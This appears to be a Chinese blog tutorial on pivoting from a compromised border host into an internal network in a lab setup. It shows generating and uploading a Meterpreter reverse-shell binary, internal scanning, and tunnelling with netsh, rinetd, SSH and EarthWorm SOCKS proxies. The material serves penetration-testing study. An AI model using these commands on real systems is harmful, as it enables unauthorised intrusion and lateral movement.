内网安全---边界主机渗透

一、简单环境搭建

一台VPS,一台边界服务器OWASP,一台内部服务器Ubuntu Server

网络拓扑如图所示:
在这里插入图片描述

关于环境的部署,在OWSAP服务器中设置两张网卡,一张设置外部IP,另外一张设置内部IP。

# 具体配置在/etc/network/interface
# 这里设置静态IP
auto eth0
iface eth0 inet static
address 192.168.101.100
netmask 255.255.255.0
gateway 192.168.101.2

auto eth1
iface eth1 inet static
address 192.168.100.100
netmask 255.255.255.0

目标:获取到OWASP WEB Server的shell后,如何去发现、访问Ubuntu Server服务器(针对在VPS的操作)

比较常见的几种方法:

1、使用Metasploit框架,设置OWASP服务器自动路由。(将获取到的边界主机作为路由器)
2、使用端口转发的技术,将OWASP的某个端口转发到内网服务器的相应端口从而进行访问。
3、使用正向代理技术,通过OWASP服务器去访问内网服务器。

二、Metasploit设置路由

利用存在的文件上传漏洞,将生成的木马传上去,然后监听,获取shell。

这里,利用msfvenom生成一个Linux马:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.100 LPOST=9999 -f elf -o ./shell

将生成的shell传上去,VPS打开msfconsole

# 使用linux/x86/meterpreter/reverse_tcp模块监听端口
use linux/x86/meterpreter/reverse_tcp
# 设置主机和端口
set LHOST 192.168.101.100
set LPORT 9999

在目标主机执行shell二进制文件,VPS获取到一个会话:

在这里插入图片描述

# 执行post/multi/autoroute,将目标主机作为路由
# 通过run autoroute -p可以查看路由
# 将此会话放到后台background

接下来,使用auxiliary/sacnner/discovery/arp_sweep模块扫描内网存活主机

use auxiliary/scanner/discovery/arp_sweep
# 设置扫描的目标,这里扫描内网主机
set RHOSTS 192.168.100.0/24 

在这里插入图片描述

扫描内网存活主机开放的服务,可以使用auxiliary/scanner/portscan/tcp

use auxiliary/scanner/portscan/tcp
# 设置目标主机ip,选取存活主机或者直接网段扫描
set rhosts 192.168.100.101

在这里插入图片描述

三、端口转发与映射

通过端口转发,进入内网。访问获取到shell主机的某个端口,将这个端口的流量转发到内网具体的端口。

1、Windows下端口转发

(在搭建的环境中,主机能直接访问三台虚拟机,而VPS不能直接访问内网中的Ubuntu Server)

使用netsh工具,做端口转发:

# 配置监听端口和转发端口
netsh interface portproxy add v4tov4 listenaddress=ip listenport=port connectaddress=target_ip connectport=target_port

# 查看配置完成的转发规则
netsh interface protproxy show v4tov4

# 清除转发规则信息
netsh interface protproxt reset

接下来做个实验,访问主机的9999端口,将流量转发到OWASP服务器的80端口:

# 在主机Win10中设置转发规则
netsh interface portproxy add v4tov4 listenaddress=192.168.0.102 listenport=9999 connectaddress=192.168.101.100 connectport=80

在这里插入图片描述

通过VPS访问主机的9999端口,会将流量转发到OWASP服务器的80端口处,返回OWASP主页面。

2、Linux下端口转发

Rinetd工具

端口转发工具Rinetd:https://github.com/boutell/rinetd.git

# 安装,以root权限
git clone https://github.com/boutell/rinetd.git
# 进入rinetd目录
make && make install

通过配置文件来配置监听的端口以及转发的主机、端口

# /etc/rinetd.conf
# bindaddress	bindport	connectaddress	connectport
# 启动服务器
rinetd -c /etc/rinetd.conf

以VPS为跳板,将VPS的7777端口的流量转发到OWASP服务器的80端口,通过主机去访问VPS的7777端口,/etc/rinetd配置如下

# bindaddress	bindport	connectaddress	connectport
192.168.101.130	7777	192.168.101.100	80
# 执行
rinetd -c /etc/rinetd.conf

在这里插入图片描述

当用主机访问192.168.101.130:7777时,会返回OWASP服务器80端口的页面

SSH隧道技术

通过SSH服务器,也可以进行端口转发—也称为SSH隧道

(1)建立本地SSH隧道

通过一台中间SSH服务器去访问内网,可以绕过防火墙的限制。(就是将SSH服务器作为跳板,去访问内部网络)

使用的命令如下:

ssh -g -L LPORT:RHOST:RPORT -fN LHOST

# -L参数表示做本地的端口映射:RHOST和RPORT是目标主机和端口,LPORT是SSH服务器的端口
# -f参数表示SSH客户端在后台运行
# -N参数表示该连接不做任何操作,仅用于端口转发
# -g参数表示允许外来主机连接本地转发端口(不指定的话只允许本地连接)

实验案例:在VPS建立本地SSH隧道,以OWASP服务器作为SSH服务器,做端口映射,将内网中的80端口映射到本地9000端口

# VPS IP地址为192.168.101.130
# Ubuntu Server IP地址为192.168.100.101
# OWASP服务器IP地址为192.168.101.100
# 在VPS上,以OWASP服务器作为跳板,做本地SSH隧道
ssh -L 9000:192.168.100.101:80 -fN 192.168.101.100

在这里插入图片描述

(以OWASP作为SSH服务器,需要知道OWASP的密码)

查看监听的端口,可以发现在本地监听了9000端口,访问本地的9000端口,最终将流量转发给了内网主机的80端口

在这里插入图片描述

(2)建立远程SSH隧道

远程SSH隧道一般用于外网不能访问内网,而内网可以出去的情况下,如何让外网的主机去访问内网。

考虑如下情况:

在这里插入图片描述

由于防火墙限制,主机1可以访问外网主机,但是外网主机的流量不能进入主机1。

在这种情况下,可以在主机1做一个远程SSH隧道,即在外网主机和主机1上建立一个SSH隧道。

ssh -R 9999:192.168.100.101:80 -fN 192.168.101.128

这样,就将远程端口9999映射到内网192.168.100.101的80端口

(9999为远程端口,是相对于主机1来说。9999端口是外网的主机端口)

本地SSH隧道是将边界主机作为跳板,实现内网主机的访问。而远程SSH隧道用的更多的地方是在外网不能访问内网,通过控制内网主机,与外网建立SSH隧道。

四、代理技术

代理分为正向代理和反向代理:

正向代理:客户端代理(例如VPN)

反向代理:服务端代理(例如负载均衡)

在内网安全中,用的比较多的是正向代理。通过中间主机作为代理去访问内网主机。

Socks5代理:简单理解就是将流量进行转发而不做任何的处理

EarthWorm工具

内网穿透神器:http://github.com/idlefire/ew

# rcsocks客户端,监听端口以及转发端口
# rsscoks服务端,指定连接的主机以及端口

做以下实验:将OWSAP服务器作为代理服务器,VPS作为客户端,去访问内网Ubuntu服务器

在VPS客户端执行以下命令:

# 本地监听1080端口,转发端口设置为10000
./ew_for_linux64 -s rcsocks -l 1080 -e 10000
# vim /etc/proxychains.conf	全局代理配置
# 添加监听的主机以及端口(添加自己主机IP和端口)
socks5 192.168.101.128 1080

在这里插入图片描述

接下来,在OWASP开启服务端:

# 连接客户端主机的10000端口
./ew_for_Linux32 -s rssocks -d 192.168.101.128 -e 10000

在浏览器配置好socks5代理,即可访问内网服务器

在这里插入图片描述

SSH代理

使用SSH做代理也比较简单,使用-D参数

# 指定本地监听端口以及ssh服务器(将ssh服务器作为代理服务器)
ssh -D lport Rhost

和上面类似,以OWASP服务器作为代理服务器,VPS执行ssh命令

ssh -D 1080 [email protected]

在浏览器配置好socks5代理(主机填127.0.0.1),即可访问内网服务器

猜你喜欢

转载自blog.csdn.net/gental_z/article/details/112981963